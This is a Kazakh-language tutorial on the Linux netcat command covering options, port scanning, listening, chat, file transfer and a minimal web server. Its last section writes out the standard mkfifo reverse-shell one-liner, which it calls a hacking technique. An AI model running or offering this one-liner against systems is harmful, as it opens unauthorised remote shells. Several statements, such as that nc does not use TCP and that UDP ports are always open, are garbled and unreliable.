Төлем әдістері Abuse

Linux жүйесінде NC командасы не үшін қажет?

29.08.2024, 02:19

netcat пәрмені TCP және UDP хаттамалары арқылы деректерді беру және қабылдау үшін қажет. Ол функциялардың үлкен жиынтығына ие емес, бірақ қосылымды тексеру және қарапайым жөндеу үшін жеткілікті. TCP протоколы арқылы қалай байланысуға болады? Бұл сұрақты көптеген пайдаланушылар сұрайды. Бұл мақалада біз бұл сұраққа жауап береміз, сонымен қатар команданы нақты өмірде қолдану мысалдарын көрсетеміз.

Команда не береді?

netcat (немесе nc ) командасы желілік қосылымдармен жұмыс істеуге арналған қуатты құрал болып табылады. Оны жүйелік әкімшілер мен әзірлеушілер әртүрлі тапсырмалар үшін жиі пайдаланады. Мұнда netcat негізгі мүмкіндіктері мен мүмкіндіктері берілген:

  1. TCP/UDP қосылымдарын жасау: TCP және UDP протоколдарын пайдаланып қашықтағы хосттармен байланыс орнатуға мүмкіндік береді.
  2. Портты тыңдау: белгілі бір порттағы кіріс қосылымдарды тыңдау үшін сервер ретінде пайдалануға болады
  3. Мәліметтерді тасымалдау: мәліметтерді компьютерлер арасында желі арқылы тасымалдау. Бұл файлдарды тасымалдау немесе хабар алмасу үшін пайдалы болуы мүмкін.
  4. Желілік қолданбаларды жөндеу: еркін деректерді жіберуге және алуға мүмкіндік беретін желі қызметтерін тексеру және жөндеу үшін пайдаланылады.
  5. Қарапайым чаттар құру: екі жүйе арасында қарапайым мәтіндік хат алмасуды орнатуға болады
  6. Портты сканерлеу: қашықтағы хосттардағы ашық порттарды тексеру үшін пайдалануға болады
  7. Туннельдеу: трафикті басқа порттар немесе хосттар арқылы қайта бағыттау үшін туннельдер жасауға мүмкіндік береді
  8. Прокси-серверлермен жұмыс істеу: прокси серверлермен жұмыс істеу және әртүрлі желілік тапсырмаларды орындау үшін пайдаланылуы мүмкін.

netcat – қарапайым хабар алмасудан бастап күрделі желілік операцияларға дейін әртүрлі сценарийлерде қолдануға болатын әмбебап құрал.

Параметрлер

Алдымен синтаксисті және ең танымалдарын қарастырайық:

  • -6 – IPv6 протоколын пайдаланыңыз. Әдепкі сәйкесінше -4 және IPv4;
  • -h – қолжетімді параметрлер тізімі бар анықтаманы көрсету;
  • -i - кешіктіру – жіберу желілері немесе сканерлеу порттары арасындағы кідіріс қосыңыз. секундтарда орнату;
  • -l – тыңдау режимі. Портты көрсету үшін қолданылады;
  • -N – файлды жіберу кезінде оның соңына жеткенде байланысты жабу;
  • -n – IP мекенжайларымен тікелей DNS қолданбай жұмыс істеу, сонымен қатар порт іздеуді өшіру;
  • -P - user_name – проксиге қосылу үшін пайдаланушы атын көрсетіңіз;
  • -x - адрес:порт – проксиге қосылу үшін мекенжай мен портты көрсетіңіз;
  • -p - порт – порт нөмірін көрсетіңіз. Көп жағдайда порт параметрді көрсетпей оқылады;
  • -U – UNIX домен ұясын пайдалану (процессаралық байланыс үшін);
  • -u – UDP протоколын қолдану, TCP әдепкі бойынша пайдаланылады;
  • -v – егжей-тегжейлі режим. Сканерлеу кезінде қолданылады;
  • -W пакеттердің_саны – пакеттердің белгілі бір санын алғаннан кейін қосылымды жабу;
  • -w таймер – қосылым уақытын шектеу үшін таймерді қосыңыз. секундтарда орнату;
  • -z – деректерді жіберуді өшіру. Сканерлеу кезінде қолданылады.

Пәрмен келесідей көрінеді (параметрлер мекенжай порты):

 $ nc

Әрі қарай пәрменді қалай пайдалану керектігі туралы айтатын боламыз.

Портты тексеру

Тексеру - бұл netcat негізгі қолдануы. Екі параметрді пайдалану керек -vz , мекенжай мен портты көрсетіңіз. Мекенжайлар ауқымын көрсетуге болады, бірақ бұл жағдайда пәрменді пайдаланып тек ашық порттарды сүзгіден өткізген дұрыс grep . Жергілікті желі мекенжайының порттарын тексерейік:

 $ nc -vz 192.168.31.247 8080
 $ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

-u параметрін қоса отырып, UDP порттарын дәл осылай сканерлеп көрейік:

 $ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Бұл жағдайда TCP мен UDP арасындағы негізгі айырмашылықты білу қажет. Сондықтан UDP порттары әрқашан қол жетімді.

Портты тыңдау

-l параметрі портты тыңдау үшін пайдаланылады. Бұл жиі жеткілікті, бірақ егжей-тегжейлі режимді қосуға болады:

 $ nc -nlv 8080

Есіңізде болсын, TCP протоколын пайдаланған кезде порт бос болуы керек, әйтпесе Alread in use қатесі пайда болады. Дегенмен, барлық порттарды қарапайым пайдаланушылар пайдалана алмайды, мысалы, 80 порты (HTTP), оны басқа процесс басып алуы мүмкін, сонымен қатар суперпайдаланушы құқықтарын талап етеді.

Файлды ортақ пайдалану

Топтың пайдалы мүмкіндігі - деректер алмасу. Қарапайым мысал - мәтіндік чат. Бір компьютерде сөйлесуді бастау үшін қызметтік бағдарламаны портты тыңдау режимінде іске қосыңыз:

 $ nc -lp 8080

Басқа компьютерде бірінші компьютердің мекенжайын және сол портты көрсету керек. Мұны да тексеруді ұмытпаңыз порт ашық:

 $ nc 0.0.0.0 8080

Осылайша сіз хабарламаларды жібере аласыз және қабылдай аласыз. Яғни, команда файлдармен алмасуға арналған. Принцип бірдей, тек шығысты файлға қайта бағыттау қажет, атап айтқанда paste.txt :

 $ nc -l 8080 > paste.txt

Басқа компьютерде кіріс copy.txt файлы болады. Файлды тасымалдағаннан кейін қосылымды жабу үшін -N параметрін пайдалану жақсы идея болар еді:

 $ nc -N 0.0.0.0 8080 < copy.txt

Файлдарды тасымалдау үшін алдымен тыңдауды ашып, содан кейін ғана файлды жіберу ретін сақтау маңызды. nc пәрмені жұмыс істейді, бірақ файлдарды тасымалдаудың ең жақсы тәсілінен алыс. Бұл мәселені шешу үшін тиімдірек және пайдалы құралдар бар.

Қарапайым веб-сервер

NC командасы TCP протоколында жұмыс істемейтіндіктен, ол HTTP сұрауларын жіберуге де, алуға да мүмкіндік береді. Сондықтан қызметтік бағдарлама қарапайым веб-серверге айналуы мүмкін. Иә, осылайша стендтік парақтан гөрі айлакер ештеңе жасауға болмайды, бірақ операция дерлік уақытты қажет етпейді, тағы бір артықшылығы - қосымша ештеңе орнатудың қажеті жоқ.

Мысалды пайдалана отырып, index.html файлымен HTTP жауабын жасаймыз. Егер біз np-тің өзі туралы айтатын болсақ, онда браузер істемейтін болса, қосылымды үзу үшін -w 1 параметрі бар таймерді орнату жақсы идея болар еді:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Веб-сайттан деректерді алу үшін сұрауды құрастырып, оны кеңес беруші мекенжай мен портқа жіберуге болады. Бірақ бұл әдіс өте күрделі, сәйкес CURL командасын қолданған дұрыс.

Қашықтағы қабық

Жоғарыда қарастырылған мысалдарға сүйене отырып, команда компьютер қабығына қашықтан қол жеткізуді ұйымдастыруға мүмкіндік береді деген қорытындыға келу мүмкін емес еді. Бұрын NC утилитасында терминалға кіруді ашудың бірнеше нұсқасы болған. -e параметрі утилитадан әлдеқашан жойылған, сондықтан терминалға енді оңай қол жеткізу болмайды. Қолданбаның қауіпсіздігі жоғарылады, бірақ ол басқалармен бірге жұмыс істей алады.

mkfifo деп аталатын құбыр арқылы қосылымды көрсетейік. Ең алдымен, біз кіруге болатын компьютердегі портты тыңдауды бастайық:

 $ nc -lvnp 8080

Терминалды ашу пәрменіне тікелей көшейік. Алдымен, ескі атаулы құбырды ( rm /tmp/f ) жойайық, оның орнына жаңасын жасаңыз ( mkfifo /tmp/f ), оның мазмұнын оқып шығыңыз ( cat /tmp/f ) және оның шығысына қабық командасын жіберейік. ( sh -i 2>&1 ). Осыдан кейін, біздің аталған құбырға ( nc 0.0.0.0 8080 >/tmp/f ) шығысымен nc іске қосу ғана қалады:

 $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Есіңізде болсын, бұл бұзу әдістерінің бірі, бірақ ол ssh ақаулары болған жағдайда пайдалы болуы мүмкін. Шабуылдың алдын алу үшін қауіпсіздік саясаты мен брандмауэрді конфигурациялаңыз.